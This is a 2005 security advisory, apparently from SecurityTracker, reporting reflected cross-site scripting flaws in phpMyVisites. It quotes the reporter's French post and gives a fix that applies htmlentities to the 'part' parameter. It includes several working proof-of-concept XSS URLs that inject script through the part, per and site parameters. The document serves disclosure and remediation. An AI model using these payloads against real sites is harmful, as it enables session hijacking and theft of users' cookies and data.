phpMyVisites Input Validation Errors Let Remote Users Conduct Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1013804
|
|
SecurityTracker URL: http://securitytracker.com/id?1013804
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Apr 26 2005
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Description: Benji Lemien (benjilenoob) reported several input validation vulnerabilities in phpMyVisites. A remote user can conduct cross-site scripting attacks.
A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed
by the target user's browser. The code will originate from the site running the phpMyVisites software and will run in the security
context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies),
if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on
the site acting as the target user.
Some demonstration exploit URLs are provided:
http://[target]/phpmyvisites/index.php?part="'/>[XSS]&stats=0
http://[target]/ph
pmyvisites/index.php?part=configurations&img=1&stats=1&date=2005-04-23&oldd=2005-04-23&per=1'"/>[xss]&site=1'"/>[xss]#ancre1
http://[target]/phpmyvisites/index.php?part=
%22'/%3E%3Cscript%3Ealert()%3C/script%3E&stats=0
http://[target]/phpmyvisites/index.php?part=configurations&img=1&stats=1&date=2005-04-23&oldd=2005-04-23&per=1%22'/%3E%3
Cscript%3Ealert()%3C/script%3E
http://[target]/phpmyvisites/index.php?part=suivi&img=1&stats=1&date=2005-04-24&oldd=2005-04-24&per=1&site=1'%22%3E%3Cscript%3Ealert()%3C/
script%3E
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
phpMyVisites software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.phpmyvisites.net/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "benji lemien" <benjilenoob@hotmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Sun, 24 Apr 2005 12:17:18 +0000
From: "benji lemien" <benjilenoob@hotmail.com>
Subject: phpmyvisites
|
phpmyvisites
____________
auteur: benjilenoob
date: 23/04/05
site: http://www.hacktinium.com/
Description:
------------
Logiciel gratuit de mesure d'audience et de statistiques de sites Internet
(licence libre GPL, logiciel en php/MySQL).
faille XSS:
-----------
http://[target]/phpmyvisites/index.php?part="'/>[XSS]&stats=0
http://[target]/phpmyvisites/index.php?part=configurations&img=1&stats=1&date=2005-04-23&
oldd=2005-04-23&per=1'"/>[xss]&site=1'"/>[xss]#ancre1
Exploits:
---------
http://[target]/phpmyvisites/index.php?part=%22'/%3E%3Cscript%3Ealert()%3C/script%3E&stats=0
http://[target]/phpmyvisites/index.php?part=configurations&img=1&stats=1&date=2005-04-23&
oldd=2005-04-23&per=1%22'/%3E%3Cscript%3Ealert()%3C/script%3E
http://[target]/phpmyvisites/index.php?part=suivi&img=1&stats=1&date=2005-04-24&oldd=
2005-04-24&per=1&site=1'%22%3E%3Cscript%3Ealert()%3C/script%3E
Solution:
---------
********************************** $part *******************
-- [ FIND in index.php:
=======================
// si vide (part=1), puis si $_POST['part'], puis si $_GET['part']
if(!isset($_GET['part']) && !isset($_POST['part']))
{
$part = 'visites';
}
elseif(isset($_POST['part']))
{
$part=$_POST['part'];
}
elseif(isset($_GET['part']))
{
$part=$_GET['part'];
}
--[ REMPLACE BY:
================
// si vide (part=1), puis si $_POST['part'], puis si $_GET['part']
if(!isset($_GET['part']) && !isset($_POST['part']))
{
$part = 'visites';
}
elseif(isset($_POST['part']))
{
$part=htmlentities($_POST['part']);
}
elseif(isset($_GET['part']))
{
$part=htmlentities($_GET['part']);
}
**********************************
_________________________________________________________________
MSN Hotmail : antivirus et antispam gratuits
http://www.imagine-msn.com/hotmail/default.aspx?locale=fr-FR
|
|
